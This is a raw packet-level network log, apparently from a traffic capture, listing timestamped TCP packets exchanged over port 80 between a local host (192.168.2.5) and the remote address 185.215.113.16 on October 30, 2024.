Oct 30, 2024 00:20:17.232337952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232348919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232364893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232399940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232409000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232428074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232445955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232464075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232480049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232507944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232510090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232522011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232532024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232537985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232562065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232566118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232582092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232597113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232610941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232614994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232636929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232640982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232664108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232682943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232697010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232698917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232712984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232727051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232734919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232748985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232748985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232764959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232781887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232798100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232811928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232825041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232825041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232851982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232872009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232892036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232907057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232922077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232935905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232955933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232964039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232970953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232985020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232999086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233016014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233022928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233030081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233046055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233047009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233062029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233067036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233083010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233098030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233114004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233138084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233138084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233174086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233196020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233212948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233217001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233232021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233246088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233267069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233268976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233282089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233294964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233297110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233313084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233319998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233326912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233344078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233376026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233391047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233406067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233421087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233437061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233447075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233447075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233485937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233491898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233520031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233534098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233551025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233566999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233570099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233581066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233592033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233603954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233618975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233623028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233634949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233649015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233663082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233664036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233678102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233690023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233694077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233709097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233711958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233725071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233740091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233755112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233769894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233784914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233784914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233812094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233840942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233870029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233887911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233906984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233912945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233927965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233942032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233943939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233957052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233971119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233973026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.233984947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.233999968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234009981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234014034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234029055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234033108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234045029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234059095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234074116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234075069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234088898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234093904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234103918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234117985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234129906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234133005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234148026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234155893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234163046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234177113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234189034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234200001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234215021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234222889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234230042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234245062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234258890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234271049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234285116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234297991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234301090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234316111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234323978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234330893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234345913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234359026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234361887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234388113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234391928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234405994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234421015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234426975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234436035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234457016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234462976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234476089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234491110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234504938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234515905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234515905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234519958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234534979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234561920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234565973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234581947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234596014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234605074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234618902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234632969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234641075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234647989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234661102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234664917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234677076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234690905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234700918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234707117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234721899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234736919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234752893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234778881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234791040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234812975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234824896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234827042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234843016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234858036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234873056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234878063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234886885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234905958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234909058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234924078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234931946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234937906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234951973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234957933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234966993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234981060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.234992027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.234996080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235011101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235018969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235025883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235039949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235054970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235074043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235084057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235084057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235116959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235136032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235157013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235172987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235188007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235193014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235203028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235218048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235239983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235239983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235255003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235263109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235271931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235286951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235287905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235306025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235328913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235332012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235347033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235363007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235372066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235378027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235393047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235394001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235408068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235423088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235435009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235440969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235456944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235460043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235471964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235488892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235505104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235510111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235527992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235541105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235553980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235569954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235574961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235585928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235600948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235614061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235618114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235632896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235647917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235667944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235690117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235701084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235716105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235730886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235738993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235747099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235761881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235779047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235781908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235805035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235809088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235825062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235838890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235846996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235853910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235867977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235882044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235893011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235898018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235914946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235919952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235929966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.235965967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235965967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.235985994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236000061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236013889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236027956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236035109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236042976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236058950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236063957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236080885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236095905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236099005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236110926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236126900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236135006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236141920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236169100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236174107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236191988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236207008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236208916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236222029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236238956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236246109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236253023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236268044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236279964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236289978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236303091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236304045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236319065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236332893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236335993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236347914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236361980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236375093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236378908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236393929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236397028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236407995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236423016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236439943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236442089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236454010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236466885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236469030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236485004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236489058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.236500025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236515045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.236521959 CET	49712	80	192.168.2.5	185.215.113.16
